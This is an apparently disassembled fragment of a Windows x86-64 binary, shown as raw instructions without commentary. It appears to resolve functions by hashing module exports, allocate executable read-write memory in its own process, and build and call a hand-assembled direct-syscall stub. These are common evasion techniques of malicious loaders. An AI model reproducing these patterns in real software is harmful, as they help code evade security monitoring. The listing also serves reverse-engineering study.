mov qword [rsp + 0x12e0], 0
jmp 0x14013406e
mov byte [rsp + 0x2d3], 1
mov qword [rsp + 0x6e60], 0
mov qword [rsp + 0x6e68], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3e48], rax
mov eax, 1
test eax, eax
je 0x1401337c1
mov rax, qword [rsp + 0x3e48]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5848], rax
jmp 0x1401337d4
mov rax, qword [rsp + 0x3e48]
mov rax, qword [rax]
mov qword [rsp + 0x5848], rax
mov rax, qword [rsp + 0x5848]
mov qword [rsp + 0x6e60], rax
mov rax, qword [rsp + 0x3e48]
mov qword [rsp + 0x6e68], rax
lea rax, [rsp + 0x6e60]
mov qword [rsp + 0x5850], rax
lea rdx, [rsp + 0x12d8]
mov rcx, qword [rsp + 0x5850]
call fcn.14018efb0
lea rdx, [rsp + 0x9388]
mov rcx, qword [rsp + 0x5850]
call fcn.140190a30
jmp 0x140133843
mov rax, qword [rsp + 0x12d8]
mov rax, qword [rax]
mov qword [rsp + 0x12d8], rax
mov rax, qword [rsp + 0x9388]
cmp qword [rsp + 0x12d8], rax
je 0x140133862
mov dword [rsp + 0xa14], 1
jmp 0x14013386d
mov dword [rsp + 0xa14], 0
movzx eax, byte [rsp + 0xa14]
test eax, eax
je 0x140134062
xor edx, edx
mov rcx, qword [rsp + 0x12d8]
call fcn.140096d90
mov qword [rsp + 0x9390], rax
lea rax, [rsp + 0x9390]
mov qword [rsp + 0x5858], rax
xor edx, edx
lea rcx, [rsp + 0x1fc0]
call fcn.14009b2f0
lea rdx, [rsp + 0x1fc0]
lea rcx, [rsp + 0xa18]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140133b0d
mov rax, qword [rsp + 0x5858]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x9398], rax
lea rdx, [rsp + 0x12658]
mov rcx, qword [rsp + 0x9398]
call fcn.14019acf0
lea rcx, [rsp + 0xefa0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xa18]
mov dword [rsp + 0x1fc4], eax
lea rax, [rsp + 0xd270]
lea rcx, [rsp + 0xefa0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1fc4]
mov dword [rsp + 0xa20], eax
lea rax, [rsp + 0x1fc8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1fc8]
call fcn.14009b310
mov qword [rsp + 0x93a0], rax
lea rax, [rsp + 0xefb0]
lea rcx, [rsp + 0xd270]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xefc0]
lea rcx, [rsp + 0xefb0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xefc0]
mov rcx, qword [rsp + 0x93a0]
call fcn.140097890
mov dword [rsp + 0x1fd0], eax
lea rcx, [rsp + 0xd270]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x93a8], rax
mov r9, qword [rsp + 0x93a8]
xor r8d, r8d
lea rdx, [rsp + 0xefd0]
lea rcx, [rsp + 0xd270]
call fcn.14019ab70
lea rax, [rsp + 0x1fcc]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1fcc]
call fcn.14009b310
mov qword [rsp + 0x93b0], rax
lea rax, [rsp + 0xefe0]
lea rcx, [rsp + 0xefd0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xeff0]
lea rcx, [rsp + 0xefe0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xeff0]
mov rcx, qword [rsp + 0x93b0]
call fcn.140097890
mov dword [rsp + 0x1fd8], eax
mov edx, dword [rsp + 0x1fd0]
lea rcx, [rsp + 0x1fd4]
call fcn.14009b2f0
lea rdx, [rsp + 0x1fd4]
lea rcx, [rsp + 0xa20]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140133af1
mov edx, dword [rsp + 0x1fd8]
lea rcx, [rsp + 0x1fdc]
call fcn.14009b2f0
lea rdx, [rsp + 0x1fdc]
lea rcx, [rsp + 0xa20]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140133af1
mov dword [rsp + 0xa28], 1
jmp 0x140133afc
mov dword [rsp + 0xa28], 0
movzx eax, byte [rsp + 0xa28]
test eax, eax
je 0x140133b0d
jmp 0x140133830
mov rax, qword [rsp + 0x5858]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5860], rax
mov rax, qword [rsp + 0x5860]
mov qword [rsp + 0x4438], rax
mov rax, qword [rsp + 0x5860]
mov qword [rsp + 0x93b8], rax
mov rax, qword [rsp + 0x93b8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x93c0], rax
mov rax, qword [rsp + 0x93c0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x93c8], rax
mov eax, dword [rsp + 0x93c8]
add rax, qword [rsp + 0x4438]
mov qword [rsp + 0x93d0], rax
mov rax, qword [rsp + 0x93d0]
mov qword [rsp + 0x4440], rax
lea rdx, [rsp + 0xa30]
lea rcx, [rsp + 0xd044]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11ca0]
lea rcx, [rsp + 0x4438]
call fcn.140097040
lea rdx, [rsp + 0x137e0]
lea rcx, [rsp + 0x4438]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11ca0]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140133bf9
jmp 0x140133830
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140133c7c
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11cb0]
mov qword [rsp + 0x5868], rax
mov rcx, qword [rsp + 0x5868]
call fcn.140097960
mov qword [rsp + 0x11588], rax
mov rcx, qword [rsp + 0x5868]
call fcn.140097950
mov qword [rsp + 0x3e58], rax
mov rax, qword [rsp + 0x3e58]
mov rax, qword [rax]
mov qword [rsp + 0x5880], rax
mov rax, qword [rsp + 0x4438]
mov qword [rsp + 0x93d8], rax
mov rax, qword [rsp + 0x93d8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x93e0], rax
mov rax, qword [rsp + 0x93e0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5870], rax
mov eax, dword [rsp + 0x5870]
add rax, qword [rsp + 0x4438]
mov qword [rsp + 0x5878], rax
mov eax, dword [rsp + 0x5874]
mov rcx, qword [rsp + 0x5878]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x93e8], rax
mov rax, qword [rsp + 0x5878]
cmp qword [rsp + 0x5880], rax
jb 0x140133d6e
mov rax, qword [rsp + 0x93e8]
cmp qword [rsp + 0x5880], rax
jae 0x140133d6e
mov dword [rsp + 0xa38], 0
movzx eax, byte [rsp + 0xa38]
mov byte [rsp + 0xea], al
movzx eax, byte [rsp + 0xea]
test eax, eax
je 0x140134048
mov qword [rsp + 0x12e0], 0
mov rax, qword [rsp + 0x12e0]
mov qword [rsp + 0x3e60], rax
lea rcx, [rsp + 0x3e60]
call fcn.1400a2c10
mov qword [rsp + 0x9440], rax
mov eax, dword [rsp + 0x64b0]
mov dword [rsp + 0x1ff0], eax
mov rax, qword [rsp + 0x9440]
mov qword [rsp + 0x9448], rax
mov eax, dword [rsp + 0x1ff0]
mov dword [rsp + 0x1ff8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf070]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9450], rax
lea r9, [rsp + 0x9448]
lea r8, [rsp + 0x1ff8]
lea rdx, [rsp + 0x12668]
mov rcx, qword [rsp + 0x9450]
call fcn.140098320
lea rcx, [rsp + 0xf070]
call fcn.1400a0f80
lea rcx, [rsp + 0x3e60]
call fcn.1400a2c10
mov qword [rsp + 0x9458], rax
mov rax, qword [rsp + 0x9458]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2000], eax
mov eax, dword [rsp + 0x2000]
mov dword [rsp + 0x64b4], eax
lea rax, [rsp + 0x64b8]
mov qword [rsp + 0x9460], rax
mov eax, dword [rsp + 0x64b4]
mov dword [rsp + 0x2008], eax
mov rax, qword [rsp + 0x9460]
add rax, 0x11
mov qword [rsp + 0x9468], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x9468]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2008]
mov dword [rax], ecx
lea rax, [rsp + 0x64b8]
mov qword [rsp + 0x5f8], rax
mov rax, qword [rsp + 0x5f8]
add rax, 0x10
mov qword [rsp + 0x11590], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x9470], rax
mov qword [rsp + 0x4728], 0
mov qword [rsp + 0x9478], 0xd
mov rax, qword [rsp + 0x9470]
mov qword [rsp + 0x9480], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x9478]
xor r8d, r8d
lea rdx, [rsp + 0x4728]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x9480]
mov dword [rsp + 0x2010], eax
cmp dword [rsp + 0x2010], 0
jl 0x140134252
mov rax, qword [rsp + 0x4728]
mov qword [rsp + 0x4730], rax
jmp 0x14013425e
mov qword [rsp + 0x4730], 0
mov rax, qword [rsp + 0x4730]
mov qword [rsp + 0x9488], rax
mov rax, qword [rsp + 0x5f8]
mov rcx, qword [rsp + 0x9488]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x5f8]
cmp qword [rax + 8], 0
jne 0x140134293
jmp 0x1401342d7
mov rax, qword [rsp + 0x5f8]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x5f8]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x5f8]
mov rcx, qword [rsp + 0x5f8]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x64b8]
mov qword [rsp + 0x94e0], rax
mov rax, qword [rsp + 0x9490]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x9498]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x94a0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x94a8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x94b0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x94b8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x94c0]
mov r8, qword [rsp + 0x94c8]
mov rdx, qword [rsp + 0x94d0]
mov rcx, qword [rsp + 0x94d8]
call qword [rsp + 0x94e0]
mov dword [rsp + 0x2014], eax
lea rcx, [rsp + 0x64b0]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x2014]
mov dword [rsp + 0x2018], eax
cmp dword [rsp + 0x2018], 0
jge 0x140134392
mov byte [rsp + 0x81], 0
jmp 0x14013439a
mov byte [rsp + 0x81], 1
movzx eax, byte [rsp + 0x81]
test eax, eax
jne 0x1401343ab
jmp 0x140133195
cmp qword [rsp + 0x600], 0
jne 0x1401343bb
jmp 0x140133195
mov rax, qword [rsp + 0x3e68]
cmp qword [rsp + 0x600], rax
jb 0x1401343f9
mov eax, dword [rsp + 0xa3c]
mov rcx, qword [rsp + 0x3e68]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x600], rax
jae 0x1401343f9
mov dword [rsp + 0xa40], 1
jmp 0x140134404
mov dword [rsp + 0xa40], 0
movzx eax, byte [rsp + 0xa40]
test eax, eax
jne 0x1401344c1
mov rax, qword [rsp + 0x3e70]
cmp qword [rsp + 0x600], rax
jb 0x140134452
mov eax, dword [rsp + 0xa44]
mov rcx, qword [rsp + 0x3e70]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x600], rax
jae 0x140134452
mov dword [rsp + 0xa48], 1
jmp 0x14013445d
mov dword [rsp + 0xa48], 0
movzx eax, byte [rsp + 0xa48]
test eax, eax
jne 0x1401344c1
mov rdx, qword [rsp + 0x600]
lea rcx, [rsp + 0x11a10]
call fcn.140116200
lea rcx, [rsp + 0x11a10]
call fcn.1401904f0
movzx eax, al
mov dword [rsp + 0x1a0], 2
mov eax, dword [rsp + 0x1a0]
mov dword [rsp + 0x201c], eax
lea rcx, [rsp + 0x11a10]
call fcn.1400a0d90
mov eax, dword [rsp + 0x201c]
mov dword [rsp + 0x74], eax
jmp 0x1401344d1
jmp 0x140133195
mov eax, dword [rsp + 0x1a0]
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 2
jne 0x1401344fe
mov qword [rsp + 0x94e8], 0x5232
lea rcx, [rsp + 0x15a0]
call fcn.1400a0d90
mov rax, qword [rsp + 0x94e8]
jmp 0x140158d4c
mov rcx, qword [rsp + 0xa8]
call fcn.1400d0510
movzx eax, al
test eax, eax
jne 0x140134545
mov rcx, qword [rsp + 0xa8]
call fcn.140187c80
mov qword [rsp + 0x94f0], 0xffffffffffffffff
lea rcx, [rsp + 0x15a0]
call fcn.1400a0d90
mov rax, qword [rsp + 0x94f0]
jmp 0x140158d4c
mov rcx, qword [rsp + 0xa8]
call fcn.1400bc960
movzx eax, al
test eax, eax
jne 0x14013458c
mov rcx, qword [rsp + 0xa8]
call fcn.140187c80
mov qword [rsp + 0x94f8], 0xffffffffffffffff
lea rcx, [rsp + 0x15a0]
call fcn.1400a0d90
mov rax, qword [rsp + 0x94f8]
jmp 0x140158d4c
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x660], rax
mov dword [rsp + 0x158], 0
mov qword [rsp + 0x178], 0
lea rax, [rsp + 0x158]
mov qword [rsp + 0x9508], rax
mov dword [rsp + 0x2064], 0x40
mov dword [rsp + 0x2020], 0x12a83c03
mov eax, dword [rsp + 0x2020]
mov dword [rsp + 0x2028], eax
lea rcx, [rsp + 0x2028]
call fcn.1400a2c20
mov dword [rsp + 0x64d8], eax
mov dword [rsp + 0x64dc], 0
lea rax, [rsp + 0x64e0]
mov qword [rsp + 0x9500], rax
mov dword [rsp + 0x2060], 0x49
mov dword [rsp + 0x205c], 0x89
mov dword [rsp + 0x2058], 0xca
mov dword [rsp + 0x2054], 0x48
mov dword [rsp + 0x2050], 0xc7
mov dword [rsp + 0x204c], 0xc0
mov dword [rsp + 0x2048], 0x3f
mov dword [rsp + 0x2044], 0x10
mov dword [rsp + 0x2040], 0
mov dword [rsp + 0x203c], 0
mov dword [rsp + 0x2038], 0xf
mov dword [rsp + 0x2034], 5
mov dword [rsp + 0x2030], 0xc3
lea rax, [rsp + 0x2030]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2034]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2038]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x203c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2040]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2044]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2048]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x204c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2050]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2054]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2058]
lea r8, [rsp + 0x205c]
lea rdx, [rsp + 0x2060]
mov rcx, qword [rsp + 0x9500]
call fcn.14008f900
mov byte [rsp + 0x2d4], 0
mov byte [rsp + 0x2d5], 0
mov rax, qword [rsp + 0x9508]
mov qword [rsp + 0x9640], rax
mov byte [rsp + 0x2d6], 0
mov byte [rsp + 0x2d7], 1
mov eax, dword [rsp + 0x158]
mov qword [rsp + 0x9648], rax
mov byte [rsp + 0x2d8], 0
mov byte [rsp + 0x2d9], 0
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x9650], rax
mov byte [rsp + 0x2da], 0
mov byte [rsp + 0x2db], 0
mov eax, dword [rsp + 0x2064]
mov dword [rsp + 0x20d4], eax
mov eax, dword [rsp + 0x64d8]
mov dword [rsp + 0x2068], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf080]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9510], rax
lea r8, [rsp + 0x2068]
lea rdx, [rsp + 0x4738]
mov rcx, qword [rsp + 0x9510]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9518], rax
lea rdx, [rsp + 0x11598]
mov rcx, qword [rsp + 0x9518]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x4738]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14013486b
mov qword [rsp + 0x4740], 0
jmp 0x140134884
lea rcx, [rsp + 0x4738]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x4740], rax
mov rax, qword [rsp + 0x4740]
mov qword [rsp + 0x9520], rax
lea rcx, [rsp + 0xf080]
call fcn.1400a0f10
mov rax, qword [rsp + 0x9520]
mov qword [rsp + 0x4748], rax
cmp qword [rsp + 0x4748], 0
je 0x1401348e1
mov rax, qword [rsp + 0x4748]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2070], eax
mov eax, dword [rsp + 0x2070]
mov dword [rsp + 0x64dc], eax
jmp 0x14013536f
lea rax, [rsp + 0xd050]
mov qword [rsp + 0x9528], rax
xor edx, edx
mov rcx, qword [rsp + 0x9528]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2074], eax
lea rax, [rsp + 0xd054]
mov qword [rsp + 0x9530], rax
mov edx, dword [rsp + 0x64d8]
mov rcx, qword [rsp + 0x9530]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2078], eax
mov eax, dword [rsp + 0x2074]
mov dword [rsp + 0xa50], eax
mov eax, dword [rsp + 0x2078]
mov dword [rsp + 0xa68], eax
xor edx, edx
lea rcx, [rsp + 0x207c]
call fcn.14009b2f0
lea rdx, [rsp + 0x207c]
lea rcx, [rsp + 0xa68]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14013498e
mov qword [rsp + 0x12f0], 0
jmp 0x14013528d
mov byte [rsp + 0x2dc], 1
mov qword [rsp + 0x6e90], 0
mov qword [rsp + 0x6e98], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3e78], rax
mov eax, 1
test eax, eax
je 0x1401349e0
mov rax, qword [rsp + 0x3e78]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4750], rax
jmp 0x1401349f3
mov rax, qword [rsp + 0x3e78]
mov rax, qword [rax]
mov qword [rsp + 0x4750], rax
mov rax, qword [rsp + 0x4750]
mov qword [rsp + 0x6e90], rax
mov rax, qword [rsp + 0x3e78]
mov qword [rsp + 0x6e98], rax
lea rax, [rsp + 0x6e90]
mov qword [rsp + 0x4758], rax
lea rdx, [rsp + 0x12e8]
mov rcx, qword [rsp + 0x4758]
call fcn.14018efb0
lea rdx, [rsp + 0x9538]
mov rcx, qword [rsp + 0x4758]
call fcn.140190a30
jmp 0x140134a62
mov rax, qword [rsp + 0x12e8]
mov rax, qword [rax]
mov qword [rsp + 0x12e8], rax
mov rax, qword [rsp + 0x9538]
cmp qword [rsp + 0x12e8], rax
je 0x140134a81
mov dword [rsp + 0xa4c], 1
jmp 0x140134a8c
mov dword [rsp + 0xa4c], 0
movzx eax, byte [rsp + 0xa4c]
test eax, eax
je 0x140135281
xor edx, edx
mov rcx, qword [rsp + 0x12e8]
call fcn.140096d90
mov qword [rsp + 0x9540], rax
lea rax, [rsp + 0x9540]
mov qword [rsp + 0x4760], rax
xor edx, edx
lea rcx, [rsp + 0x2080]
call fcn.14009b2f0
lea rdx, [rsp + 0x2080]
lea rcx, [rsp + 0xa50]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140134d2c
mov rax, qword [rsp + 0x4760]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x9548], rax
lea rdx, [rsp + 0x12678]
mov rcx, qword [rsp + 0x9548]
call fcn.14019acf0
lea rcx, [rsp + 0xf090]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xa50]
mov dword [rsp + 0x2084], eax
lea rax, [rsp + 0xd280]
lea rcx, [rsp + 0xf090]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x2084]
mov dword [rsp + 0xa58], eax
lea rax, [rsp + 0x2088]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2088]
call fcn.14009b310
mov qword [rsp + 0x9550], rax
lea rax, [rsp + 0xf0a0]
lea rcx, [rsp + 0xd280]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf0b0]
lea rcx, [rsp + 0xf0a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf0b0]
mov rcx, qword [rsp + 0x9550]
call fcn.140097890
mov dword [rsp + 0x2090], eax
lea rcx, [rsp + 0xd280]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x9558], rax
mov r9, qword [rsp + 0x9558]
xor r8d, r8d
lea rdx, [rsp + 0xf0c0]
lea rcx, [rsp + 0xd280]
call fcn.14019ab70
lea rax, [rsp + 0x208c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x208c]
call fcn.14009b310
mov qword [rsp + 0x9560], rax
lea rax, [rsp + 0xf0d0]
lea rcx, [rsp + 0xf0c0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf0e0]
lea rcx, [rsp + 0xf0d0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf0e0]
mov rcx, qword [rsp + 0x9560]
call fcn.140097890
mov dword [rsp + 0x2098], eax
mov edx, dword [rsp + 0x2090]
lea rcx, [rsp + 0x2094]
call fcn.14009b2f0
lea rdx, [rsp + 0x2094]
lea rcx, [rsp + 0xa58]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140134d10
mov edx, dword [rsp + 0x2098]
lea rcx, [rsp + 0x209c]
call fcn.14009b2f0
lea rdx, [rsp + 0x209c]
lea rcx, [rsp + 0xa58]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140134d10
mov dword [rsp + 0xa60], 1
jmp 0x140134d1b
mov dword [rsp + 0xa60], 0
movzx eax, byte [rsp + 0xa60]
test eax, eax
je 0x140134d2c
jmp 0x140134a4f
mov rax, qword [rsp + 0x4760]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4768], rax
mov rax, qword [rsp + 0x4768]
mov qword [rsp + 0x4448], rax
mov rax, qword [rsp + 0x4768]
mov qword [rsp + 0x9568], rax
mov rax, qword [rsp + 0x9568]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9570], rax
mov rax, qword [rsp + 0x9570]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x9578], rax
mov eax, dword [rsp + 0x9578]
add rax, qword [rsp + 0x4448]
mov qword [rsp + 0x9580], rax
mov rax, qword [rsp + 0x9580]
mov qword [rsp + 0x4450], rax
lea rdx, [rsp + 0xa68]
lea rcx, [rsp + 0xd058]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11f70]
lea rcx, [rsp + 0x4448]
call fcn.140097040
lea rdx, [rsp + 0x13808]
lea rcx, [rsp + 0x4448]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11f70]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140134e18
jmp 0x140134a4f
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140134e9b
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11f80]
mov qword [rsp + 0x4770], rax
mov rcx, qword [rsp + 0x4770]
call fcn.140097960
mov qword [rsp + 0x115a0], rax
mov rcx, qword [rsp + 0x4770]
call fcn.140097950
mov qword [rsp + 0x3e88], rax
mov rax, qword [rsp + 0x3e88]
mov rax, qword [rax]
mov qword [rsp + 0x4788], rax
mov rax, qword [rsp + 0x4448]
mov qword [rsp + 0x9588], rax
mov rax, qword [rsp + 0x9588]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9590], rax
mov rax, qword [rsp + 0x9590]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x4778], rax
mov eax, dword [rsp + 0x4778]
add rax, qword [rsp + 0x4448]
mov qword [rsp + 0x4780], rax
mov eax, dword [rsp + 0x477c]
mov rcx, qword [rsp + 0x4780]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9598], rax
mov rax, qword [rsp + 0x4780]
cmp qword [rsp + 0x4788], rax
jb 0x140134f8d
mov rax, qword [rsp + 0x9598]
cmp qword [rsp + 0x4788], rax
jae 0x140134f8d
mov dword [rsp + 0xa70], 1
jmp 0x140134f98
mov dword [rsp + 0xa70], 0
movzx eax, byte [rsp + 0xa70]
mov byte [rsp + 0xeb], al
movzx eax, byte [rsp + 0xeb]
test eax, eax
je 0x140135267
mov rax, qword [rsp + 0x3e88]
mov rax, qword [rax]
mov qword [rsp + 0x95a0], rax
mov rax, qword [rsp + 0x95a0]
mov qword [rsp + 0x95a8], rax
lea rax, [rsp + 0x12688]
mov qword [rsp + 0x95b0], rax
mov rdx, qword [rsp + 0x95a8]
mov rcx, qword [rsp + 0x95b0]
call fcn.140095590
lea rcx, [rsp + 0x6ea0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6ea0]
call fcn.140191090
mov qword [rsp + 0x3e80], rax
cmp qword [rsp + 0x3e80], 0xffffffffffffffff
je 0x1401350a2
mov r9, qword [rsp + 0x3e80]
xor r8d, r8d
lea rdx, [rsp + 0xf100]
lea rcx, [rsp + 0x6ea0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3e80]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xf0f0]
lea rcx, [rsp + 0x6ea0]
call fcn.14019aaa0
lea r8, [rsp + 0xf0f0]
lea rdx, [rsp + 0xf100]
lea rcx, [rsp + 0x11150]
call fcn.14008f7e0
jmp 0x1401350dd
lea rax, [rsp + 0x6ea0]
mov qword [rsp + 0x95b8], rax
lea rcx, [rsp + 0xf110]
call fcn.140099fb0
lea r8, [rsp + 0xf110]
mov rdx, qword [rsp + 0x95b8]
lea rcx, [rsp + 0x11150]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11150]
call fcn.140097960
mov qword [rsp + 0x95c0], rax
lea rcx, [rsp + 0x11150]
call fcn.140097950
mov qword [rsp + 0x95d8], rax
lea rax, [rsp + 0xd05c]
mov qword [rsp + 0x95d0], rax
lea rax, [rsp + 0x20a0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
